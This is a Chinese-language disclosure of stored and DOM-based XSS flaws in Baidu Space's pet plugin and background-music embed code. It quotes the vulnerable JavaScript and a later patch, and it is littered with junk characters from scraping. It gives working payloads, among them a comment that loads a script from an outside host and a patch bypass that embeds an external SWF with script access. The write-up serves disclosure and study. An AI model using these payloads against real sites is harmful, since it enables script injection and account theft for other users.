百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 6 Z+ l5 q7 N; X6 g6 T* Y8 C/ s
% J% z; ]/ ~$ }& V1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
5 k* n0 S+ `# I& D: Q2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
0 Y5 n$ L9 @4 g
, a: c. t9 C; k5 W( R0 _将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 9 D" ?) T& L9 s! O) E; {3 J
其中BdUtil.insertWBR为
4 z$ f* z7 Z, F X5 d) k/ H( gfunction(text, step) {
) R3 m( D% M: L, Q. b' f8 @5 a var textarea = textAreaCache || getContainer();
: e$ [8 i9 }4 B' a, I3 I' H if (!textarea) { 9 P$ H% O( x2 D* k4 v" X' W# r
return text; - z9 O6 r7 D0 z- V
}
6 p; M( B- g. c textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 6 A- A7 u8 @( b1 z Z( {- L& M W7 [3 n
var string = textarea.value;
* g! @0 a) v. g+ ?! n; e var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
& g% y1 n; Y- k+ e var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
; I3 U7 x$ @$ \7 n; i return result;
* o# b& g* A2 O* G* c}
: p: ?8 F3 {( C" w在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
; K3 F Y6 g! {/ B6 ]测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 8 r/ o. F4 _! A
% C, S x' D8 g0 v0 t7 A" I二:creatbgmusic() Dom-Xss Bug
2 j; Z$ I6 i* [# U9 {百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
! m' D$ q# g6 {! u" ~
2 W$ b' C* A% x3 c7 _' X在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
& ?9 E2 X% {, `) q7 H8 v: U( o- C2 s2 V% Q2 q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 4 g2 Y/ J X) f2 s% x) c
//传入的murl赋值到bgmusic1和bgmusic2中
( Y$ }$ N3 w, I2 E$ Q1 l% z //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 2 D5 X; d& D% `) ]; M4 F
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 3 C0 O) e: {5 ?% I7 ?% ?5 R! e
if (musicnum <= 1) {
. {7 K. U; t9 B, K bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
4 s4 m, ]' ]2 r m } + k5 }2 Y& x" R& T8 A# Z
bgmusic1 += "</OBJECT>"; 5 }& d. L; f1 T6 m, P0 Q
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ' P7 w5 u0 ~0 j/ P' S9 p
if (musicnum <= 1) {
5 b) q% V- X0 N# T5 B5 J8 z bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
/ x3 i0 p; f3 v1 c9 L }
2 \( [# x3 ?& B B* N( K5 h: a bgmusic2 += "> </EMBED>"; : n$ f \% R S3 D9 `
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 5 a$ \8 m/ I, J- a, {
var bgmus = detectWMP();
) Y: S' n) J( B. v3 C0 l if (functype == "FckMusicHelper") { * V4 m; y: u- `0 D% d
if (bgmus.installed) {
( Z' |" g. n: ?- E9 S# M8 C9 O if (bgmus.type == "IE") {
, z' p5 C2 w9 n$ L) F# I7 Q) [) } return bgmusic1;
' C k/ Q' G6 G0 P } else if (bgmus.type == "NS") {
& v9 ^5 e6 o+ z+ X9 V return bgmusic2;
' P. o8 C! W1 Z" |+ O } 4 t/ O) n0 g; N1 H5 r
} else { # l% Z, E5 k8 F+ S7 g N- [$ F5 O8 w! j
return bgmusic3;
- P. k$ |! n6 v$ z% Y2 q+ l }
& o1 K, F% O' H! A } else { * M/ c% P* }! M
if (bgmus.installed) { 6 L: g0 Z3 |4 @$ e7 c4 ^2 j4 m
//document.write 直接输出bgmusic变量 导致xss 9 L* e# }9 [. q5 _( z" i
if (bgmus.type == "IE") { 0 @+ J ]9 o1 t3 ]
document.write(bgmusic1);
! X+ [$ z% t. a$ M4 J } else if (bgmus.type == "NS") { . m( y5 t- \& P6 s E
document.write(bgmusic2);
; R) u( f! \1 h" n U- V }
: q- ^; b0 D- ]& c } else {
8 O( R; L5 @3 I, j8 ~ document.write(bgmusic3);
& p; M( L% O2 P4 y; ~ W' }# c, @ } + ~8 S* T0 Y" N. [$ V8 T" w
return "";
" F8 m A' P2 K0 ^# O+ g }
$ z" B/ J L7 O x( l; Z$ J# R}
, |+ z& m) t9 C; X m: ~0 P1 \) d$ {- s& L! w1 b
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: - R) [, G2 D6 z2 P8 ]4 ~7 q1 N; {
6 D4 F$ |; `3 u0 `. ~0 ifunction initBlogTextForFCK(){
8 E' D ^- ?( }2 j$ ]; j//fck init music : ~6 ?, S# T% y7 h
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} & |6 B( h: ~: A. f
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
# m7 W, o% x l2 Jvar isAutoPlay=true;
$ \, s. b7 _8 L. s& Afor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
# ` w# M, T. L, Z var img=imgBox; - g& J: m, d9 M v& }
if(img.getAttribute(’rel’)){ . i& u$ W" k* j* n* s% L
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
' r6 V, o- E$ L: X4 W0 Q U) ] Z var musicDiv = document.createElement("SPAN");
0 r `% P! |2 J7 P2 e var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 3 L$ Z( b1 X. Q
, a( D f) l: U( ?0 ` .......................... + x; ?: {$ y+ l- Q7 [
, G, h4 F& b/ c6 _. F$ Y& ]' e //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* ^0 j* y) _; k4 M7 | var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 2 G+ ^# p0 k: \! I6 ^
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
( V" a4 A# U1 `% L ] musicDiv.innerHTML=shtml; " Z$ S2 o2 l; n- Y, }
i--;n--; 7 V" h! N3 T4 [) w8 B$ m5 v
}
! V9 b1 i ]5 x9 O) e, o! [} ) S; ^6 Y- M& \; ]$ k4 J: [, }
. x5 ], v' Z. |. n, A" {! X
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
4 k& C, @* }+ I: v# X6 G& f
; {( m& z* H: s; R" M1 a3 e) N测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
; Y2 O; }! H! y8 N- g J0 v! R( N
等待官方补丁
! }: H; ~7 [2 ^/ i" d: L" Z* c3 y4 g- `/ d2 M6 p" S" F) ?' {
update 2010年5月13日
4 A/ [% d& [, r2 d$ L3 x4 S. |+ q* a- Y, V# x+ Q, q
官方补丁: 9 m/ X/ E5 v6 t3 a
1 r5 [; T7 e9 ~) @, H6 u/ _var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ! ?5 _) V$ I6 _4 }
改为: D8 W$ A7 x0 ^" ]" z9 H( t
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
; x2 u7 t5 Y) K( w' X# l
6 B! ^9 Y# u* }& f2 G; iupdate 2010年5月13日 21:50:37
7 Y* {5 K0 E- x5 x# `
& t( @' B$ v! a补丁存在漏洞 没有过滤" 可以继续跨:
! z0 w% h3 X# s) `
3 w# R% H( u! l9 WNEW POC: 4 R4 J0 @' m) d
5 @! s+ Q8 E, U5 b, [
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 7 O% }4 s8 f* u8 @3 F
+ e+ |% r( D: n* [" f
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>" Y" M" M0 l. L. c: Q
8 c/ l2 B7 U4 M2 S3 a# L
|